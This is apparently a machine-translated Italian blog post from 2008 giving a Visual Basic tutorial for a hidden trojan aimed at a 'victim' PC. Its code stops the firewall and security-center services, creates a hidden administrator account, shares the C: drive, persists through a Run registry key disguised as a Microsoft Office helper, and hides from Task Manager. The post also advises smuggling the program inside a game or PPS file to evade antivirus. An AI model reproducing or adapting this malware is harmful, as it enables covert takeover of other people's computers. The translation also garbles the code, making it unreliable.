Squallido ma efficace, Lo programmi tu, Lo compili tu, L'antivirus non lo rileva e tutti sono contenti ;)

Le primo, Comandi MSDOS che ci interessa conoscere e poi inserirli nel codice Visual Basic per eseguirli sul PC della vittima,

COMANDO
ESEMPIO
DESCRIZIONE
net user nome utente password /ADD Utente netto IUSR_wXP piruli /add Crea l'utente IUSR_wXP con la password 'piruli’ in modo che quando vogliamo entrare nel PC remoto abbiamo già un nome utente e una password
net nome grupponomeutentegruppo/ADD net localgroup Admins /aggiungi IUSR_wXP L'utente creato in precedenza viene inserito nel gruppo administrators, in modo da non avere problemi con i permessi. Siamo l'amministratore del PC, Cosa vogliamo di più!! 🙂
Nome servizio di arresto netto Arresto netto “Windows Firewall/Condivisione connessione Internet (ICS)” Serve a interrompere i servizi che non vogliamo controllare, ad esempio il firewall di Windows XP, L'antivirus, Antispiware…
net share resourcename=Percorso: quota netta C=C: Condividere le unità disco o il percorso che ci interessa sul PC in esecuzione

Non male, Tutti questi comandi, se riusciamo a pensarne di più possiamo eseguirli sul PC del ragazzo che ci interessa inserire sul suo PC (Questa è una questione di immaginazione), ad esempio, con questi ci aiuta a creare un utente che è un amministratore, fermiamo il firewall ed entriamo nel tuo disco C, tutto online e nel modo più semplice, Ora abbiamo solo bisogno che lo esegua… E come? È così semplice, Leggi sotto.

Ok, ora di solito lo faccio con Visual Basic, Non sono affatto un esperto del settore, Ma creo un software o un gioco per il ragazzo per hackerarlo e gli metto dentro queste battute. Oppure genero semplicemente il programma VB con questi 4 linee e con un Joinner (che è un programma che mi unisce diversi file che vi invio) Per esempio, Gli mando un PPS tipico di txorradas e con il joinner lo faccio girare in background, Quanto male che i joinner rilevano l'antivirus, ecco perché preferisco giocare io stesso con VB, Anche se è super stupido, ma che lo esegua.

Secondo, Come farlo Tutto questo verrà eseguito ogni volta che avvii il computer, Molto bene, Inserimento del log e generazione di una voce qui:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun

Oh, bene, Andiamo a quello che è il codice sorgente VB necessario, questo sarebbe per eseguire i comandi MSDOS che ci interessano, con questo contenuto viene creato un Sub e queste due funzioni sono definite soprattutto.

Funzione di dichiarazione privata Processo aperto Movimento di liberazione “kernel32” (ByVal dwDesiredAccess&, ByVal bEredita Handle&, ByVal dwProcessId&) Finché
Funzione di dichiarazione privata GetExitCodeProcess Movimento di liberazione “kernel32” (ByVal hProcesso Finché, lpExitCode Finché) Finché
Sub PerServiziYcreaUser()

Oscuro hShell Finché
Oscuro hProc Finché
Oscuro codExit Finché
Oscuro SCmd come stringa
Oscuro Come comando stringa
‘ Per il servizio Centro sicurezza PC
&nbspCommand = “Arresto netto ” & Chr(34) & “Centro sicurezza” & Chr(34)
&nbspsCmd = “Comando /c ” & Comando
&nbsphShell = Guscio(Dintorni$(“Calcolo”) & ” /c ” & SCmd, vbNascondere)
‘ La Chiesa(34) sono le virgolette doppie, per eseguire un comando MSDOS che è una frase lunga dobbiamo eseguirlo con virgolette doppie, perché è così che verrebbe messo in modo che VB lo esegua bene.
‘ Per il servizio Windows Firewall
&nbspCommand = “Arresto netto ” & Chr(34) & “Windows Firewall/Condivisione connessione Internet (ICS)” & Chr(34)
&nbspsCmd = “Comando /c ” & Comando
&nbsphShell = Guscio(Dintorni$(“Calcolo”) & ” /c ” & SCmd, vbNascondere)
‘ Creare il IUSR_wXP2 utente
&nbspCommand = “net user IUSR_wXP2 Hh3rr3r01 /add”
&nbspsCmd = “Comando /c ” & Comando
&nbsphShell = Guscio(Dintorni$(“Calcolo”) & ” /c ” & SCmd, vbNascondere)

‘ Inserire l'utente nel gruppo Administrators locale
&nbspCommand = “net localgroup Administrators /add IUSR_wXP2”
&nbspsCmd = “Comando /c ” & Comando
&nbsphShell = Guscio(Dintorni$(“Calcolo”) & ” /c ” & SCmd, vbNascondere)

‘ Condividi C: il tuo disco rigido come C per noi per entrare x la rete, anche se potremmo anche entrare come C$
&nbspCommand = “quota netta C=C:”
&nbspsCmd = “Comando /c ” & Comando
&nbsphShell = Guscio(Dintorni$(“Calcolo”) & ” /c ” & SCmd, vbNascondere)
Fine Sub

Ok, ora quello che ci interessa è inserirlo nel registro in modo che si avvii ogni volta che il PC della vittima si avvia e che ogni volta che riavvia il PC il servizio firewall si interrompa, quota C…

Sub InvioSuRecord()
Oscuro Hregkey Finché
Oscuro Sottochiave Come stringa
&nbspsubkey = “SoftwareMicrosoftWindowsCurrentVersionRun”
Oscuro Buffer di stringhe Come stringa
Oscuro Programma del percorso Come stringa
&nbspPathProgram = “C:WINDOWSsystem32svchost32.exe”
Oscuro Nome del programma Come stringa
&nbspNome programma = “Assistente di Microsoft Office”
retval = RegOpenKeyEx(HKEY_CURRENT_USER, Sottochiave, 0, KEY_WRITE, Hregkey) Se Retval <> 0 Allora
Debug.Print “Impossibile aprire la sottochiave”
Esci da Sub
Fine Se&nbspstringbuffer = Programma percorso & vbNullChar
&nbspretval = RegSetValueEx(Hregkey, Nome del programma, 0, REG_SZ, ByVal Buffer di stringhe, Len(Buffer di stringhe))
&nbspRegCloseKey hregkey
Fine Sub

E abbiamo bisogno di un modulo per inserire questo:

Funzione di dichiarazione pubblica Libreria RegOpenKeyEx “advapi32.dll” Alias “RegOpenKeyExA” (ByVal hKey Finché, ByVal Chiave secondaria lp Come stringa, ByVal ulOpzioni Finché, ByVal samDesiderato Finché, phkRisultato Finché) Finché
Funzione di dichiarazione pubblica Chiave di chiusura Reg Movimento di liberazione “advapi32.dll” (ByVal hKey Finché) Finché
Funzione di dichiarazione pubblica RegSetValueEx Movimento di liberazione “advapi32.dll” Alias “RegSetValueExA” (ByVal hKey Finché, ByVal lpValueName Come stringa, ByVal Riservato Finché, ByVal dwType Finché, lpData Come qualsiasi, ByVal cbData Finché) Finché
Pubblico Cost. HKEY_CURRENT_USER = &H80000001
Pubblico Cost. KEY_WRITE = &H20006
Pubblico Cost. REG_SZ = 1

È possibile scaricare il codice sorgente completo di QUI. Se hai qualche suggerimento, chiedilo o dillo!

Personalmente mi piace metterlo all'inizio, Quando l'app viene caricata, è in modo che l'utente non lo veda sullo schermo o sul “Gestore attività” che di solito è perfetto in modo che il processo non ci uccida.

Me.Visible = Falso
App.TaskVisible = Falso


Post consigliati

Autore

nheobug@bujarra.com
Autor del blog Bujarra.com Cualquier necesidad que tengas, Non esitate a contattarmi, Cercherò di aiutarti ogni volta che potrò, Condividere è vivere ;) . Goditi i documenti!!!

Casa Keylogger (proprio)

28 Ottobre 2008